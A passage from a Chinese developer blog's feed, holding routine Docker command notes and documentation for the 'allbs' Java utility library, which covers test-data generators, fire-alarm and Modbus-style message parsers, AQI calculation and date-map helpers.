dockerfile"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 下载</span></span><br><span class="line">docker pull name:tag</span><br><span class="line"><span class="comment"># 查看下载</span></span><br><span class="line">docker images</span><br><span class="line"><span class="comment"># 删除镜像</span></span><br><span class="line">docker rmi imageId</span><br><span class="line"><span class="comment"># 或者</span></span><br><span class="line">docker rmi name:tag</span><br></pre></td></tr></table></figure><h2 id="docker容器启动">docker容器启动</h2><figure class="highlight dockerfile"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">-d 后台启动 -p 端口映射</span><br><span class="line">docker <span class="keyword">run</span><span class="language-bash"> --name test-nginx -d -p 8080:80 nginx</span></span><br><span class="line"><span class="comment"># 多个映射</span></span><br><span class="line">-p <span class="number">80</span>-<span class="number">90</span>:<span class="number">80</span>-<span class="number">90</span></span><br></pre></td></tr></table></figure><h2 id="挂载">挂载</h2><figure class="highlight dockerfile"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 访问宿主机的8081端口将访问宿主机的data目录下的内容，相当于操作容器中nginx默认的静态资源的目录</span></span><br><span class="line">docker <span class="keyword">run</span><span class="language-bash"> --name test-nginx2 -d -p 8081:80 -v /data:/usr/share/ginx/html nginx</span></span><br></pre></td></tr></table></figure><h2 id="目录映射">目录映射</h2><figure class="highlight dockerfile"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">宿主机的目录:容器目录</span><br><span class="line">-v /data:/usr/share/nginx/html</span><br></pre></td></tr></table></figure><h2 id="日志操作">日志操作</h2><figure class="highlight dockerfile"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">docker logs -f test-nginx</span><br><span class="line">docker logs -f 容器ID</span><br></pre></td></tr></table></figure><h2 id="容器操作">容器操作</h2><figure class="highlight dockerfile"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">docker exec -it test-nginx sh</span><br><span class="line"></span><br><span class="line"><span class="comment"># 参数说明</span></span><br><span class="line">-i 标准输入</span><br><span class="line">-t 终端</span><br><span class="line"></span><br><span class="line"><span class="comment"># 清除容器</span></span><br><span class="line">docker rm -f test-nginx</span><br></pre></td></tr></table></figure><h2 id="网络操作">网络操作</h2><figure class="highlight dockerfile"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 查看容器详细信息</span></span><br><span class="line">docker inspect test-nginx</span><br><span class="line"><span class="comment"># 镜像busybox工具</span></span><br><span class="line">docker <span class="keyword">run</span><span class="language-bash"> -it --name test-nginx3 --<span class="built_in">link</span> <span class="built_in">test</span>=nginx busybox sh</span></span><br></pre></td></tr></table></figure><h2 id="常用的">常用的</h2><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">docker ps</span><br><span class="line">docker stop</span><br><span class="line">docker <span class="built_in">rm</span> 容器名</span><br><span class="line"></span><br><span class="line">在docker-compose.yml目录下</span><br><span class="line">docker-compose up -d</span><br><span class="line">docker-compose down</span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;更新yum工具&quot;&gt;更新yum工具&lt;/h2&gt;
&lt;figure class=&quot;highlight sh&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td </summary>
      
    
    
    
    <category term="docker" scheme="https://blog.allbs.cn/categories/docker/"/>
    
    
    <category term="docker" scheme="https://blog.allbs.cn/tags/docker/"/>
    
  </entry>
  
  <entry>
    <title>allbs工具类，常用工具、方法封装</title>
    <link href="https://blog.allbs.cn/posts/17620/"/>
    <id>https://blog.allbs.cn/posts/17620/</id>
    <published>2022-09-02T09:15:00.000Z</published>
    <updated>2025-11-28T06:48:01.050Z</updated>
    
    <content type="html"><![CDATA[<h2 id="添加依赖">添加依赖</h2><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>cn.allbs<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>allbs-model<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">version</span>&gt;</span>0.8.1<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure><h2 id="工具类">工具类</h2><h3 id="个人信息随机生成">个人信息随机生成</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/03/7790a3b8c4f9afe5358781d07193f242.png" alt=""></p><h4 id="姓名生成">姓名生成</h4><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 根据权重随机</span></span><br><span class="line">ChineseUtil.getRandomChineseName();</span><br><span class="line"></span><br><span class="line"><span class="comment">// 完全随机</span></span><br><span class="line">ChineseUtil.getRandomChineseName(<span class="literal">false</span>);</span><br></pre></td></tr></table></figure><h4 id="手机号生成">手机号生成</h4><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">PhoneNumberGenerator.generateRandomPhoneNumber();</span><br></pre></td></tr></table></figure><h4 id="身份证号生成">身份证号生成</h4><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">IDCardGenerator.generateRandomIDCard(<span class="literal">false</span>);</span><br></pre></td></tr></table></figure><h3 id="JBF293K报文解析">JBF293K报文解析</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">JBF293KMapper</span> <span class="variable">jbf293KMapper</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">JBF293KMapper</span>();</span><br><span class="line">System.out.println(jbf293KMapper.readValue(bytes, Map.class));</span><br></pre></td></tr></table></figure><h4 id="解析示例">解析示例</h4><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/02/144504d4725cbbc6bdd78e2dfa3e9ed8.png" alt="image-20230223134717092"><br><img src="https://nas.allbs.cn:8888/cloudpic/2023/02/f273b83c4bae709c7ba4c606dcc6725c.png" alt="image-20230223142712393"><br><img src="https://nas.allbs.cn:8888/cloudpic/2023/02/9bc4dda82d26129c592d105a6edace38.png" alt="image-20230223154854847"></p><h3 id="GB26875报文解析">GB26875报文解析</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">GB26875Mapper</span> <span class="variable">gb26875Mapper</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">GB26875Mapper</span>();</span><br><span class="line">Map&lt;String, Object&gt; map = gb26875Mapper.readValue(bytes, Map.class);</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/03/4d19de823782d9f6f66ea330aecf81a6.png" alt="image-20230302092553966"></p><h3 id="SFJK200-报文生成-解析">SFJK200 报文生成&amp;解析</h3><h4 id="生成">生成</h4><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">Map&lt;String, Object&gt; map = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;(<span class="number">4</span>);</span><br><span class="line"><span class="comment">// 地址</span></span><br><span class="line">map.put(ADDRESS.getName(), <span class="number">1</span>);</span><br><span class="line"><span class="comment">// 功能码</span></span><br><span class="line">map.put(FUNCTION.getName(), <span class="number">3</span>);</span><br><span class="line"><span class="comment">// 起始寄存器地址</span></span><br><span class="line">map.put(START_ADDRESS.getName(), <span class="number">0</span>);</span><br><span class="line"><span class="comment">// 读寄存器数量</span></span><br><span class="line">map.put(READ_ADDRESS.getName(), <span class="number">2</span>);</span><br><span class="line"><span class="type">SFJK200Mapper</span> <span class="variable">sfjk200Mapper</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">SFJK200Mapper</span>();</span><br><span class="line"><span class="type">byte</span>[] bytes = sfjk200Mapper.writeDataAsByteArray(map);</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/03/c44cbd682ffce4183dc39b3b3a497e0f.png" alt="image-20230310143214803"></p><h4 id="解析">解析</h4><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/03/a87785f0dbbf9982d772b17288bc9b85.png" alt="image-20230309162532082"></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">byte</span>[] bytes = <span class="keyword">new</span> <span class="title class_">byte</span>[<span class="number">9</span>];</span><br><span class="line">bytes[<span class="number">0</span>] = <span class="number">0x01</span>;</span><br><span class="line">bytes[<span class="number">1</span>] = <span class="number">0x03</span>;</span><br><span class="line">bytes[<span class="number">2</span>] = <span class="number">0x04</span>;</span><br><span class="line">bytes[<span class="number">3</span>] = <span class="number">0x3F</span>;</span><br><span class="line">bytes[<span class="number">4</span>] = <span class="number">0x00</span>;</span><br><span class="line">bytes[<span class="number">5</span>] = <span class="number">0x00</span>;</span><br><span class="line">bytes[<span class="number">6</span>] = <span class="number">0x00</span>;</span><br><span class="line">bytes[<span class="number">7</span>] = (<span class="type">byte</span>) <span class="number">0xf6</span>;</span><br><span class="line">bytes[<span class="number">8</span>] = <span class="number">0x27</span>;</span><br><span class="line"><span class="type">SFJK200Mapper</span> <span class="variable">sfjk200Mapper</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">SFJK200Mapper</span>();</span><br><span class="line">System.out.println(sfjk200Mapper.readValue(bytes, <span class="number">0x0000</span>, Map.class));</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/03/2cf95a3b15b3e3bcfb700fa9f6f2f2b5.png" alt="image-20230309162610293"></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/03/f5dd835057b1134f52ca6f4db6faf43b.png" alt="image-20230310103906086"></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/03/b919dcc2cd6d419957d795acb4a4ec80.png" alt="image-20230310103915347"></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">byte</span>[] bytes = <span class="keyword">new</span> <span class="title class_">byte</span>[<span class="number">13</span>];</span><br><span class="line">bytes[<span class="number">0</span>] = (<span class="type">byte</span>) <span class="number">0x01</span>;</span><br><span class="line">bytes[<span class="number">1</span>] = (<span class="type">byte</span>) <span class="number">0x03</span>;</span><br><span class="line">bytes[<span class="number">2</span>] = (<span class="type">byte</span>) <span class="number">0x08</span>;</span><br><span class="line"></span><br><span class="line">bytes[<span class="number">3</span>] = (<span class="type">byte</span>) <span class="number">0x00</span>;</span><br><span class="line">bytes[<span class="number">4</span>] = (<span class="type">byte</span>) <span class="number">0x64</span>;</span><br><span class="line">bytes[<span class="number">5</span>] = (<span class="type">byte</span>) <span class="number">0x00</span>;</span><br><span class="line">bytes[<span class="number">6</span>] = (<span class="type">byte</span>) <span class="number">0x96</span>;</span><br><span class="line"></span><br><span class="line">bytes[<span class="number">7</span>] = (<span class="type">byte</span>) <span class="number">0x01</span>;</span><br><span class="line">bytes[<span class="number">8</span>] = (<span class="type">byte</span>) <span class="number">0x40</span>;</span><br><span class="line">bytes[<span class="number">9</span>] = (<span class="type">byte</span>) <span class="number">0x00</span>;</span><br><span class="line">bytes[<span class="number">10</span>] = (<span class="type">byte</span>) <span class="number">0xD1</span>;</span><br><span class="line">bytes[<span class="number">11</span>] = (<span class="type">byte</span>) <span class="number">0x38</span>;</span><br><span class="line">bytes[<span class="number">12</span>] = (<span class="type">byte</span>) <span class="number">0x78</span>;</span><br><span class="line"></span><br><span class="line"><span class="type">SFJK200Mapper</span> <span class="variable">sfjk200Mapper</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">SFJK200Mapper</span>();</span><br><span class="line">Map&lt;String, Object&gt; map = sfjk200Mapper.readValue(bytes, <span class="number">0x03E4</span>, Map.class);</span><br><span class="line">map.forEach((k, v) -&gt; &#123;</span><br><span class="line">    <span class="keyword">if</span> (k.equals(<span class="string">&quot;data&quot;</span>)) &#123;</span><br><span class="line">        List&lt;Map&lt;String, Object&gt;&gt; list = (List&lt;Map&lt;String, Object&gt;&gt;) v;</span><br><span class="line">        list.forEach(System.out::println);</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        System.out.println(k + <span class="string">&quot;:&quot;</span> + v);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/03/5ec825a0f4da6d491585985723e55478.png" alt="image-20230310104125705"></p><h3 id="大气aqi计算类-AqiUtil">大气aqi计算类 AqiUtil</h3><h4 id="计算实时-日的AQI数据-countRealAqi">计算实时/日的AQI数据 countRealAqi</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">public java.util.Map&lt;java.lang.String,java.lang.Object&gt; countRealAqi(java.util.Map&lt;java.lang.String,java.lang.Double&gt; pollutantValueMap,boolean isDay)</span><br><span class="line">计算实时/日的AQI数据 SO2（μg/m³） NO2（μg/m³） PM10（μg/m³） CO(mg/m³) O3（μg/m³） PM2.5（μg/m³）</span><br><span class="line">参数:</span><br><span class="line">pollutantValueMap - 以因子code为key,浓度为value的 map</span><br><span class="line">isDay - 是否为日平均aqi</span><br><span class="line">返回:</span><br><span class="line">aqi 数据和首要污染物code,超标污染物code 多个的情况下以逗号分隔</span><br></pre></td></tr></table></figure><h3 id="百度坐标系与墨卡托坐标系转换-BaiduMercatorToLngLatUtil">百度坐标系与墨卡托坐标系转换 BaiduMercatorToLngLatUtil</h3><h4 id="墨卡托坐标转经纬度坐标-convertMC2LL">墨卡托坐标转经纬度坐标  convertMC2LL</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">public static EarthPoint2D convertMC2LL(java.lang.Double x,</span><br><span class="line">                                        java.lang.Double y)</span><br><span class="line">墨卡托坐标转经纬度坐标</span><br><span class="line">参数:</span><br><span class="line">x - 墨卡托坐标x</span><br><span class="line">y - 墨卡托坐标y</span><br><span class="line">返回:</span><br><span class="line">经纬度坐标</span><br></pre></td></tr></table></figure><h3 id="java-class-工具-ClassUtil">java class 工具 ClassUtil</h3><h4 id="类域获取-获取当前类包括父类的所有域-getClassFields">类域获取 获取当前类包括父类的所有域 getClassFields</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">public java.lang.reflect.Field[] getClassFields(java.lang.Class&lt;?&gt; clazz)</span><br><span class="line">类域获取</span><br><span class="line">获取当前类包括父类的所有域</span><br><span class="line"></span><br><span class="line">参数:</span><br><span class="line">clazz - 需要遍历的类</span><br><span class="line">返回:</span><br><span class="line">所有域</span><br></pre></td></tr></table></figure><h3 id="日期区间map构建-DateStaticsSectionUtil">日期区间map构建 DateStaticsSectionUtil</h3><h4 id="传入开始时间-结束时间-构建一个分钟Map-minuteSection">传入开始时间 结束时间 构建一个分钟Map minuteSection</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">public java.util.Map&lt;java.lang.String,java.math.BigDecimal&gt; minuteSection(java.time.LocalDateTime startTime,</span><br><span class="line">                                                                          java.time.LocalDateTime endTime,</span><br><span class="line">                                                                          int interval,</span><br><span class="line">                                                                          java.lang.String pattern)</span><br><span class="line">分钟构建Map</span><br><span class="line">传入开始时间 结束时间 构建一个Map</span><br><span class="line"></span><br><span class="line">参数:</span><br><span class="line">startTime - 开始时间</span><br><span class="line">endTime - 结束时间</span><br><span class="line">interval - 间隔分钟数</span><br><span class="line">pattern - 格式化</span><br><span class="line">返回:</span><br><span class="line">Map</span><br></pre></td></tr></table></figure><h4 id="传入开始时间-结束时间-构建一个分钟Map-minuteSection-2">传入开始时间 结束时间 构建一个分钟Map minuteSection</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">public java.util.Map&lt;java.lang.String,java.math.BigDecimal&gt; minuteSection(java.time.LocalDateTime startTime,</span><br><span class="line">                                                                          java.time.LocalDateTime endTime,</span><br><span class="line">                                                                          int interval)</span><br><span class="line">分钟构建Map</span><br><span class="line">传入开始时间 结束时间 构建一个Map</span><br><span class="line"></span><br><span class="line">参数:</span><br><span class="line">startTime - 开始时间</span><br><span class="line">endTime - 结束时间</span><br><span class="line">interval - 间隔分钟数</span><br><span class="line">返回:</span><br><span class="line">Map</span><br></pre></td></tr></table></figure><h4 id="传入开始时间-结束时间-构建一个分钟Map-默认间隔一分钟-minuteSection">传入开始时间 结束时间 构建一个分钟Map 默认间隔一分钟 minuteSection</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">public java.util.Map&lt;java.lang.String,java.math.BigDecimal&gt; minuteSection(java.time.LocalDateTime startTime,</span><br><span class="line">                                                                          java.time.LocalDateTime endTime,</span><br><span class="line">                                                                          java.lang.String pattern)</span><br><span class="line">分钟构建Map</span><br><span class="line">传入开始时间 结束时间 构建一个Map 默认间隔一分钟</span><br><span class="line"></span><br><span class="line">参数:</span><br><span class="line">startTime - 开始时间</span><br><span class="line">endTime - 结束时间</span><br><span class="line">pattern - 格式化</span><br><span class="line">返回:</span><br><span class="line">Map</span><br></pre></td></tr></table></figure><h4 id="传入开始时间-结束时间-构建一个分钟Map-默认间隔一分钟-minuteSection-2">传入开始时间 结束时间 构建一个分钟Map 默认间隔一分钟 minuteSection</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">public java.util.Map&lt;java.lang.String,java.math.BigDecimal&gt; minuteSection(java.time.LocalDateTime startTime,</span><br><span class="line">                                                                          java.time.LocalDateTime endTime)</span><br><span class="line">分钟构建Map</span><br><span class="line">传入开始时间 结束时间 构建一个Map 默认间隔一分钟</span><br><span class="line"></span><br><span class="line">参数:</span><br><span class="line">startTime - 开始时间</span><br><span class="line">endTime - 结束时间</span><br><span class="line">返回:</span><br><span class="line">Map</span><br></pre></td></tr></table></figure><h4 id="开始结束时间构造月Map-daySection">开始结束时间构造月Map daySection</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">public java.util.Map&lt;java.lang.String,java.math.BigDecimal&gt; daySection(java.time.LocalDate startTime,</span><br><span class="line">                                                                       java.time.LocalDate endTime,</span><br><span class="line">                                                                       java.lang.String pattern)</span><br><span class="line">开始结束时间构造月Map</span><br><span class="line">构建以月为跨度，该月份中所有日为key value为0的map</span><br><span class="line"></span><br><span class="line">参数:</span><br><span class="line">startTime - 开始时间</span><br><span class="line">endTime - 结束时间</span><br><span class="line">pattern - 格式化</span><br><span class="line">返回:</span><br><span class="line">map</span><br></pre></td></tr></table></figure><h4 id="开始结束时间构造月Map-daySection-2">开始结束时间构造月Map daySection</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">public java.util.Map&lt;java.lang.String,java.math.BigDecimal&gt; daySection(java.time.LocalDate startTime,</span><br><span class="line">                                                                       java.time.LocalDate endTime)</span><br><span class="line">开始结束时间构造月Map</span><br><span class="line">构建以月为跨度，该月份中所有日为key value为0的map</span><br><span class="line"></span><br><span class="line">参数:</span><br><span class="line">startTime - 开始时间</span><br><span class="line">endTime - 结束时间</span><br><span class="line">返回:</span><br><span class="line">map</span><br></pre></td></tr></table></figure><h4 id="根据某一天构建固定间隔小时数的24小时Map-dayHour">根据某一天构建固定间隔小时数的24小时Map dayHour</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">public java.util.Map&lt;java.lang.String,java.math.BigDecimal&gt; dayHour(java.time.LocalDate date,</span><br><span class="line">                                                                    int interval,</span><br><span class="line">                                                                    java.lang.String pattern)</span><br><span class="line">天 24小时Map</span><br><span class="line">根据某一天构建固定间隔小时数的Map</span><br><span class="line"></span><br><span class="line">参数:</span><br><span class="line">date - 某天日期</span><br><span class="line">interval - 间隔小时数</span><br><span class="line">pattern - 格式化</span><br><span class="line">返回:</span><br><span class="line">Map</span><br></pre></td></tr></table></figure><h4 id="根据某一天构建固定间隔小时数的24小时Map-默认一小时-dayHour">根据某一天构建固定间隔小时数的24小时Map 默认一小时 dayHour</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">public java.util.Map&lt;java.lang.String,java.math.BigDecimal&gt; dayHour(java.time.LocalDate date,</span><br><span class="line">                                                                    java.lang.String pattern)</span><br><span class="line">天 24小时Map</span><br><span class="line">根据某一天构建固定间隔小时数的Map 默认一小时</span><br><span class="line"></span><br><span class="line">参数:</span><br><span class="line">date - 某天日期</span><br><span class="line">pattern - 格式化</span><br><span class="line">返回:</span><br><span class="line">Map</span><br></pre></td></tr></table></figure><h4 id="根据某一天构建固定间隔小时数的24小时Map-默认一小时-dayHour-2">根据某一天构建固定间隔小时数的24小时Map 默认一小时 dayHour</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">public java.util.Map&lt;java.lang.String,java.math.BigDecimal&gt; dayHour(java.time.LocalDate date,</span><br><span class="line">                                                                    int interval)</span><br><span class="line">天 24小时Map</span><br><span class="line">根据某一天构建固定间隔小时数的Map 默认一小时</span><br><span class="line"></span><br><span class="line">参数:</span><br><span class="line">date - 某天日期</span><br><span class="line">interval - 间隔小时数</span><br><span class="line">返回:</span><br><span class="line">Map</span><br></pre></td></tr></table></figure><h4 id="根据某一天构建固定间隔小时数的Map-默认一小时-dayHour">根据某一天构建固定间隔小时数的Map 默认一小时 dayHour</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">public java.util.Map&lt;java.lang.String,java.math.BigDecimal&gt; dayHour(java.time.LocalDate date)</span><br><span class="line">天 24小时Map</span><br><span class="line">根据某一天构建固定间隔小时数的Map 默认一小时</span><br><span class="line"></span><br><span class="line">参数:</span><br><span class="line">date - 某天日期</span><br><span class="line">返回:</span><br><span class="line">Map</span><br></pre></td></tr></table></figure><h4 id="传入年、月构建该年月内所有天的Map-monthDay">传入年、月构建该年月内所有天的Map monthDay</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">public java.util.Map&lt;java.lang.String,java.math.BigDecimal&gt; monthDay(int year,</span><br><span class="line">                                                                     int month,</span><br><span class="line">                                                                     java.lang.String pattern)</span><br><span class="line">根据年月构建Map</span><br><span class="line">传入年、月构建该年月内所有天的Map</span><br><span class="line"></span><br><span class="line">参数:</span><br><span class="line">year - 年</span><br><span class="line">month - 月</span><br><span class="line">pattern - 格式化</span><br><span class="line">返回:</span><br><span class="line">Map</span><br></pre></td></tr></table></figure><h4 id="传入年、月构建该年月内所有天的Map-monthDay-2">传入年、月构建该年月内所有天的Map monthDay</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">public java.util.Map&lt;java.lang.String,java.math.BigDecimal&gt; monthDay(int year,</span><br><span class="line">                                                                     int month)</span><br><span class="line">根据年月构建Map</span><br><span class="line">传入年、月构建该年月内所有天的Map</span><br><span class="line"></span><br><span class="line">参数:</span><br><span class="line">year - 年</span><br><span class="line">month - 月</span><br><span class="line">返回:</span><br><span class="line">Map</span><br></pre></td></tr></table></figure><h4 id="传入年份-构建该年所有月份的Map-yearMonth">传入年份,构建该年所有月份的Map yearMonth</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span 